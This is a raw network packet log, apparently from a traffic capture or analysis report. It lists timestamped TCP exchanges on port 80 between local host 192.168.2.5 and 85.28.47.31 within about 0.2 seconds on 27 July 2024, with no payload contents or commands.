Jul 27, 2024 12:01:16.293118954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.293139935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.293183088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.293204069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.293256998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.293270111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.293299913 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.293329954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.293375969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.293392897 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.293435097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.293454885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.293507099 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.293519974 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.293550014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.293572903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.293591022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.293612003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.293622971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.293632984 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.293651104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.293659925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.293680906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.293689966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.293709993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.293719053 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.293737888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.293746948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.293775082 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.378832102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.378920078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.378969908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.379019022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.379045963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.379045963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.379090071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.379090071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.379146099 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.379195929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.379213095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.379273891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.379322052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.379375935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.379390001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.379421949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.379451036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.379499912 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.379515886 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.379565954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.379591942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.379643917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.379672050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.379725933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.379740000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.379772902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.379817963 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.379873037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.379885912 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.379919052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.379945993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.379997969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.380012989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.380065918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.380079985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.380110025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.380141973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.380187035 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.380207062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.380261898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.380275965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.380309105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.380336046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.380389929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.380435944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.380503893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.380522966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.380565882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.380608082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.380661964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.380676031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.380707026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.380753994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.380808115 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.380820990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.380851984 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.380882025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.380934954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.380949020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.380978107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.381031036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.381083012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.381108999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.381162882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.381176949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.381213903 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.381236076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.381280899 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.381299973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.381342888 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.381362915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.381408930 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.381428003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.381480932 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.381527901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.381580114 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.381592989 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.381625891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.381649971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.381702900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.381716967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.381747961 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.381778955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.381819010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.381844044 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.381870031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.382857084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.382911921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.382925987 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.382956028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.382987022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.383039951 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.383116007 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.383174896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.383236885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.383291006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.383356094 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.383410931 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.383502007 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.383558035 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.385030031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.385118961 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.385173082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.385226965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.385339975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.385394096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.385406971 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.385442019 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.385461092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.385513067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.385540009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.385595083 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.385607958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.385638952 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.385668993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.385715961 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.385797024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.385853052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.385895014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.385958910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.388273954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.388322115 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.388340950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.388370037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.388417959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.388463020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.388497114 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.388545036 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.388591051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.388636112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.388654947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.388700962 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.388720036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.388772011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.388797045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.388843060 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.388860941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.388902903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.388948917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.388994932 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.389039993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.389098883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.389164925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.389198065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.389230013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.389249086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.389281988 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.389311075 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.389353037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.389375925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.389424086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.389441967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.389484882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.389504910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.389552116 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.389569044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.389616013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.389632940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.389677048 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.389695883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.389739990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.389759064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.389803886 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.389823914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.389867067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.389885902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.389930964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.389950991 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.389993906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.390014887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.390058994 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.390078068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.390122890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.390141964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.390202045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.390243053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.390289068 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.390309095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.390353918 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.390374899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.390423059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.390439034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.390482903 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.390501976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.390546083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.390564919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.390618086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.390630960 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.390669107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.390691042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.390737057 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.390755892 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.390799999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.390818119 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.390862942 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.390882015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.390925884 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.390944958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.390993118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.391009092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.391053915 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.391072035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.391119003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.391136885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.391181946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.391197920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.391246080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.391268969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.391318083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.391360998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.391413927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.391427040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.391458988 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.391486883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.391530991 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.391551018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.391594887 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.391613960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.391658068 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.391676903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.391724110 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.391742945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.391788960 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.474648952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.474697113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.474716902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.474749088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.474797010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.474842072 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.474860907 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.474906921 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.474924088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.474967003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.474987030 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.475033998 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.475055933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.475101948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.475121975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.475164890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.475184917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.475235939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.475261927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.475301981 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.475325108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.475368023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.475388050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.475446939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.475471020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.475498915 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.475517988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.475564957 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.475590944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.475644112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.475656986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.475687027 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.475716114 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.475758076 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.475780010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.475824118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.475843906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.475884914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.475907087 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.475975037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.475990057 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.476016045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.476054907 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.476099014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.476120949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.476176977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.476190090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.476222038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.476252079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.476306915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.476320982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.476349115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.476401091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.476445913 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.476464033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.476527929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.476564884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.476610899 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.476630926 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.476679087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.476695061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.476739883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.476759911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.476803064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.476821899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.476867914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.476886988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.476931095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.476948977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.476993084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.477030039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.477076054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.477093935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.477138042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.477157116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.477195978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.477219105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.477266073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.477283001 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.477328062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.477349043 CEST	80	49704	85.28.47.31	192.168.2.5
